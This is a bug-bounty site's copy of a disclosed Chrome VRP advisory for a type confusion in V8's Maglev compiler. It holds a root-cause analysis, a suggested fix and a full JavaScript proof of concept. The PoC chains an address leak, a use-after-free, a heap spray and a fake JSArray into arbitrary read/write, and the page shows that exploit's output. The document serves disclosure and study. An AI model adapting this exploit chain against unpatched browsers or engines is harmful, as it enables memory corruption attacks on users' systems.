Skip to content
Memory corruption Advisory Advanced CVE-2026-7337

Type Confusion in V8 (CVE-2026-7337)

A Maglev compiler optimisation elided a runtime Smi check when a node's recorded constant alternative was an integer-valued HeapNumber, so a HeapNumber pointer could be stored into a Smi-typed field without a write barrier. This gave a type confusion leading to address leaks, a dangling pointer after minor GC, and demonstrated in-cage arbitrary read/write in d8.

[email protected] Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 20 days

Tested on: V8 14.9.0 (candidate), HEAD 31b353261e41a9d15c829359b0d4d9e261debeb6 (2026-04-04)

BuildCheckSmi elides the runtime Smi check when TryGetInt32Constant returns a value in Smi range. TryGetInt32Constant recurses through the checked_value alternative recorded by SetKnownValue. When BuildCheckNumericalValue records a Constant(HeapNumber 5.0) as the checked_value (after CheckFloat64SameValue passes), TryGetInt32Constant follows the alternative, sees IsInt32Double(5.0), and returns 5 — without verifying that the runtime representation is Smi.

The CheckFloat64SameValue node verifies value equality (5.0 == 5.0), not representation. Both Smi(5) and HeapNumber(5.0) pass it. The elided CheckSmi was the only thing preventing a HeapNumber pointer from reaching BuildStoreTaggedFieldNoWriteBarrier (the kSmi-field store path, which omits the write barrier under the assumption that Smis don't need one).

Result: a tagged HeapNumber pointer is written into a kSmi-typed field with no write barrier. The receiver's map is unchanged. The remembered set is not updated.


Root cause

The elision (maglev-graph-builder.cc:4145-4146)

C++
ReduceResult MaglevGraphBuilder::BuildCheckSmi(ValueNode* object, ...) {
  ...
  // For constants, we may be able to skip the runtime check.
  if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
    if (Smi::IsValid(constant_value.value())) return object;   // ← elide CheckSmi
  }
  ...
}

This is sound when object is a constant node. It is unsound when object is a runtime value whose checked_value alternative is a constant.

The recursion (maglev-reducer-inl.h:722-723)

C++
std::optional<int32_t> MaglevReducer<BaseT>::TryGetInt32Constant(ValueNode* value) {
  switch (value->opcode()) {
    case Opcode::kConstant: {
      compiler::ObjectRef object = value->Cast<Constant>()->object();
      if (object.IsHeapNumber() &&
          IsInt32Double(object.AsHeapNumber().value())) {       // ← 5.0 → true
        return static_cast<int32_t>(object.AsHeapNumber().value());
      }
      ...
    }
    ...
  }
  if (auto c = TryGetConstantAlternative(value)) {
    return TryGetInt32Constant(*c);                             // ← recurse on checked_value
  }
  return {};
}

TryGetConstantAlternative (maglev-reducer-inl.h:480-490) reads info->alternative().checked_value() and returns it if it's a constant node. The recursive call then hits the kConstant case for the HeapNumber.

Where checked_value is set (maglev-graph-builder.cc:12268-12271)

C++
ReduceResult MaglevGraphBuilder::BuildCheckNumericalValue(...) {
  ...
    RETURN_IF_ABORT(
        AddNewNode<CheckFloat64SameValue>({node}, ref_value, reason));
  }

  reducer_.SetKnownValue(node, ref, NodeType::kNumber);          // ← here
  return ReduceResult::Done();
}

SetKnownValue (maglev-reducer-inl.h:1396) does:

C++
known_info->alternative().set_checked_value(GetConstant(ref));

ref is the compile-time PropertyCell value — a HeapNumber 5.0 object. GetConstant(ref) produces Constant(HN 5.0). This is recorded as the checked_value for the runtime node.

The implicit contract violated: checked_value was meant to record "after this check, the runtime value is equal to this constant", but TryGetInt32Constant reads it as "the runtime value is this constant (same representation)".

The sink (maglev-graph-builder.cc:5359-5421)

C++
ValueNode* value = GetAccumulator();                           // raw tagged
...
if (field_representation.IsSmi()) {
  RETURN_IF_ABORT(GetAccumulatorSmi(...));   // ← inserts CheckSmi (or tries to)
                                             //   result IGNORED — only the side
                                             //   effect (CheckSmi node) matters
}
...
if (field_representation.IsSmi()) {
  RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
      store_target, value, field_index.offset(), store_mode, name));
}

GetAccumulatorSmi → BuildCheckSmi. With the check elided, value (the unmodified accumulator, holding a HeapNumber pointer) flows directly to BuildStoreTaggedFieldNoWriteBarrier.


Impact

  • addrof — A Maglev-compiled load of obj.f emits UnsafeSmiUntag (map says kSmi, no tag check). Reading the corrupted field returns compressed_ptr >> 1. Deterministic, repeatable.
  • UAF — obj in old-gen, fresh HN in young-gen, no remembered-set entry. Minor GC frees the HN; obj.f dangles. Spray new-space → fakeobj → in-cage arbitrary read/write.
  • Arbitrary Read/Write demonstrated with zero flags (./d8 poc.js), quite reliable.

Repro

JavaScript
// Two triggers of the same bug:
//   #1: corrupt(obj, HN5,    true) — old→old, GC-safe, pure type confusion.
//       addrof(obj) → UnsafeSmiUntag → leaks HN5's compressed ptr.
//   #2: corrupt(obj, freshHN, true) — old→young, missing WB → dangling → fakeobj.
//
// Trigger #1 is allocation-free (HN5 exists, addrof returns Smi-range int,
// recovery is integer math) → young-gen bump pointer unchanged → freshHN lands
// at the same young-gen offset as the single-trigger version.
//
// No eval closures, no scan window, no hardcoded HN5 neighborhood. The only
// build-specific constant is JSARRAY_DBL_MAP (RO-root, run-stable, standard).
//
// Run: d8 poc.js

const JSARRAY_DBL_MAP = 0x0100d0d9;
const FAKE_LEN        = 0x100;
const WARMUP_N        = 30000;

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function itof(lo, hi) { u32[0]=lo>>>0; u32[1]=hi>>>0; return f64[0]; }
function ftoi(d) { f64[0]=d; return [u32[0]>>>0, u32[1]>>>0]; }

const SPRAY_D = itof(FAKE_LEN << 1, JSARRAY_DBL_MAP);

// ─── Setup ───
let __f = new Float64Array(1); __f[0] = 5;
let HN5 = __f[0];
globalThis.G = HN5;

let obj = { smiField: 1 };
obj.smiField = 2; obj.smiField = 3;

// ─── Organic promotion ───
for (let i = 0; i < 400; i++) { new Array(10000).fill(1.1); }

// ─── Functions ───
function sh(o, x, c) { if (c) o.smiField = x; }
sh(obj, 5, true); sh(obj, 5, true); sh(obj, 5, true);

function corrupt(o, x, c) { G = x; sh(o, x, c); }

// addrof: Maglev trusts kSmi map → LoadTaggedField → UnsafeSmiUntag (no tag
// check) → Int32Add. `+7` survives identity-folding (+0, |0, *1 all fold).
// Recovery: ptr = ((r-7)<<1)|1.  HN5_ptr ≈ 0x012xxxxx → >>1 ≈ 9M → Smi-range.
function addrof(o) { return o.smiField + 7; }
addrof(obj); addrof(obj); addrof(obj);

// ─── Warmup: tier BOTH corrupt and addrof to Maglev ───
// addrof trained on Smi(5) → returns 12. Loop allocates nothing.
for (let i = 0; i < WARMUP_N; i++) {
  corrupt(obj, HN5, false);
  addrof(obj);
  if ((i & 15) === 0) sh(obj, 5, true);
}

// ─── Trigger #1: addrof(HN5) — ALLOCATION-FREE ───
// HN5 is old-gen, obj is old-gen → WriteBarrier::IsRequired = false. The
// missing WB is harmless here. Type confusion alone: CheckSmi elided, HN5's
// tagged ptr lands in the kSmi field, map unchanged. addrof's CheckMaps
// passes, UnsafeSmiUntag shifts the raw bits. No deopt — corrupt stays Maglev.
//
// NO IIFE: HN5 is already a tagged HN (script-scope let, loaded via context
// slot). OSR'd top-level passes it tagged — no __f[0]-style unboxing risk.
// IIFE would allocate a closure object (~28B young-gen) → shifts freshHN.
//
// NO PRINT: string concat + toString allocate. Defer all output.
//
// leaked ≈ (0x012xxxxx >> 1) + 7 ≈ 9M → Smi. Recovery math stays Smi-range.
// `let` slots pre-reserved in script context at parse — assignment is no-alloc.
corrupt(obj, HN5, true);
let leaked = addrof(obj);
let HN5_ADDR = (((leaked - 7) << 1) | 1) >>> 0;
obj.smiField = 5;          // reset: store IC sees kSmi map + Smi value → clean

// ─── Trigger #2: dangling ───
// freshHN is young-gen → old→young store, missing WB → no remembered-set entry.
(function(){ corrupt(obj, __f[0], true); })();

// ─── Stack scrub ───
(function r(n){return n>0?r(n-1)+n:0;})(400);

// ─── Spray (organic minor GCs mid-loop) ───
let pads = [];
for (let j = 0; j < 200; j++) {
  let a = new Array(1000);
  for (let i = 0; i < 1000; i++) a[i] = SPRAY_D;
  pads.push(a);
}

// ─── Verify fake JSArray ───
let fake = obj.smiField;
if (typeof fake === "number") {
  print("\n[fail] HN survived (typeof=number, val=" + fake + ")");
  throw "UAF didn't fire";
}
let len;
try { len = fake.length; } catch(e) {
  print("\n[fail] fake.length threw: " + e);
  throw "fake malformed";
}
print("\n[fake] typeof=" + typeof fake + " length=" + len + " (expect " + FAKE_LEN + ")");
if (len !== FAKE_LEN) {
  print("[fail] alignment/spray miss");
  throw "spray miss";
}
print("[fake] *** fake JSArray landed ***");

// ─── Initial read (elements still = JSARRAY_DBL_MAP) ───
let v_init = fake[0];
let [li,hi] = ftoi(v_init);
print("[read] fake[0] @ MAP+7 = " + v_init);
print("[read]   hex 0x" + hi.toString(16).padStart(8,'0') + "_" + li.toString(16).padStart(8,'0'));

// ─── Spray-scan: find length-controlling slot (uses fake.length only — no
// elements deref → safe in OSR'd code, no map check on elements) ───
const PROBE_D = itof(0x777 << 1, JSARRAY_DBL_MAP);
let fj=-1, fk=-1;
scan: for (let j = 0; j < 200; j++) {
  let a = pads[j];
  for (let k = 0; k < 1000; k++) {
    a[k] = PROBE_D;
    if (fake.length === 0x777) { fj=j; fk=k; a[k]=SPRAY_D; break scan; }
    a[k] = SPRAY_D;
  }
}
if (fj < 0) {
  print("\n[fail] scan miss — spray not writable at dangling");
  throw "scan miss";
}
print("[scan] *** pads[" + fj + "][" + fk + "] controls fake.length ***");

// ─── Retarget + arb R/W demo (IIFE → Ignition → no elements-map check) ───
// fake[0] reads 8B at elements_tagged + 7. HN.value at HN_tagged + 3.
// elements = HN5_ADDR - 4 → reads at HN5_ADDR + 3 = HN5.value.
//
// IIFE because optimized fake[0] (Maglev/TF) emits CheckMaps on fake.elements
// expecting FixedDoubleArray. elements is now HN5_ADDR-4 (a HeapNumber-ish
// region) → CHECK or deopt. Ignition's keyed-load IC trusts the receiver map,
// dereferences elements blindly. One call → cold → Ignition.
let _pad = pads[fj], _slot = fk-1;
let result = (function(){
  _pad[_slot] = itof(FAKE_LEN<<1, (HN5_ADDR - 4) >>> 0);
  let v = fake[0];
  if (v !== 5) return v;        // wrong addr or HN5 moved (major GC)
  fake[0] = 1337.42;
  return v;
})();

if (result !== 5) {
  print("\n[fail] read at leaked addr = " + result + " (expected 5)");
  print("       HN5_ADDR stale? major GC moved HN5 between leak and now?");
  throw "addr stale";
}

let hn5_now = HN5 + 0;
// (deferred from trigger #1 — printing there would have allocated strings
// in young-gen before freshHN, shifting its alignment)
print("\n[addrof] leaked raw = " + leaked + " (12 would mean bug didn't fire)");
print("[addrof] HN5_ADDR   = 0x" + HN5_ADDR.toString(16) + " (UnsafeSmiUntag, no scan)");
print("\n[!!!] ARBITRARY READ:  fake[0] @ leaked 0x" + HN5_ADDR.toString(16) + " = 5.0");
print("[!!!] ARBITRARY WRITE: fake[0] = 1337.42 → HN5+0 = " + hn5_now);
print("[!!!]   v_init (Map bytes @ 0x" + JSARRAY_DBL_MAP.toString(16) + "+7) = " + v_init);
print("[!!!]   HN5+0  (after write, independent JS read)            = " + hn5_now);

if (hn5_now === 1337.42) {
  print("  *** ARB R/W achieved ***");
}

Debug (show root cause)

❯ ./v8/out/x64.debug/d8 poc/maglev-checksmi-elision/poc.js 
#
# Fatal error in ../../src/heap/heap.cc, line 6784
# Check failed: !WriteBarrier::IsRequired(heap_object, Tagged<Object>(value)).
#
#
#
#FailureMessage Object: 0x7ffeb5d87868
==== C stack trace ===============================

    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x29) [0x735b27276179]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libplatform.so(+0x4e2cd) [0x735b173e12cd]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::PrintStackTraceIfAvailable()+0x14) [0x735b272491e4]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x735b27249999]
    /home/pop/sec/v8/v8/out/x64.debug/libv8.so(v8::internal::Heap::VerifySkippedWriteBarrier(unsigned long, unsigned long)+0x12b) [0x735b218fc10b]
    [0x735b7fc9441b]
[1]    1417951 trace trap (core dumped)  ./v8/out/x64.debug/d8 

Release (Arbitrary R/W)

❯ ./v8/out/ASAN_RELEASE/d8 audit-notes/maglev-checksmi-elision/poc-organic-honest.js

[fake] typeof=object length=256 (expect 256)
[fake] *** fake JSArray landed ***
[read] fake[0] @ MAP+7 = 1.6291488275493544e-260
[read]   hex 0x0a0007ff_1100084b
[scan] *** pads[104][716] controls fake.length ***

[addrof] leaked raw = 9582111 (12 would mean bug didn't fire)
[addrof] HN5_ADDR   = 0x1246c31 (UnsafeSmiUntag, no scan)

[!!!] ARBITRARY READ:  fake[0] @ leaked 0x1246c31 = 5.0
[!!!] ARBITRARY WRITE: fake[0] = 1337.42 → HN5+0 = 1337.42
[!!!]   v_init (Map bytes @ 0x100d0d9+7) = 1.6291488275493544e-260
[!!!]   HN5+0  (after write, independent JS read)            = 1337.42
  *** ARB R/W achieved ***

Suggested fix

The issue is introduced by 6469250a124a: [maglev] Improve constant handling for BuildCheckSmi and the Array ctor, 2025-09-26, crrev.com/c/6988172.

TryGetInt32Constant answers "what int32 value does this node hold?" — it does not prove the runtime representation is Smi. BuildCheckSmi should only elide when object itself is a constant node, not when its checked_value alternative is:

C++
if (IsConstantNode(object->opcode())) {
  if (std::optional<int32_t> c = TryGetInt32Constant(object)) {
    if (Smi::IsValid(c.value())) return object;
  }
}

The original report as published on the Chromium issue tracker, by [email protected]. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely BuildCheckSmi elided the runtime Smi check based on a checked_value constant alternative that only guarantees value equality, not Smi representation, so a HeapNumber flowed into a kSmi store path that omits the write barrier.

Impact

The type confusion could leak a HeapNumber's compressed pointer and, via the missing write barrier, produce a dangling pointer after minor GC that the researcher turned into in-cage arbitrary read/write in a release d8 build.

What the attacker needed

Ability to run d8 or a V8 build; JIT warmup to reach Maglev; no special flags needed

The fix

BuildCheckSmi should only elide the check when the node itself is a constant node, not when its checked_value alternative is a constant.

How it was found

  1. Create an object with a Smi-typed field and warm up the store and load functions so they tier up to Maglev.
  2. Trigger the store with a HeapNumber constant so the elided Smi check lets the pointer land in the field, then read it back to leak the compressed pointer.
  3. Trigger the store again with a freshly allocated young-generation HeapNumber so the missing write barrier leaves no remembered-set entry.
  4. Force minor GCs and spray double arrays so the freed slot is reused with a crafted fake JSArray.
  5. Scan the spray to find which slot controls the fake array's length, then retarget its elements pointer to the leaked address.
  6. Read and write through the fake array to confirm arbitrary read/write at the leaked HeapNumber address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

JavaScript engines tag small integers (Smis) differently from heap-allocated numbers (HeapNumbers), and the optimising compiler relies on that distinction. Here the compiler saw a check that only compared numeric values, assumed the value must be a small integer, and skipped the check that confirms it, so a heap pointer ended up in a field the rest of the engine treats as a plain integer. That mismatch let the researcher read memory addresses and eventually read and write arbitrary memory inside the engine's heap.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by [email protected]

View all

1 more disclosed report, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.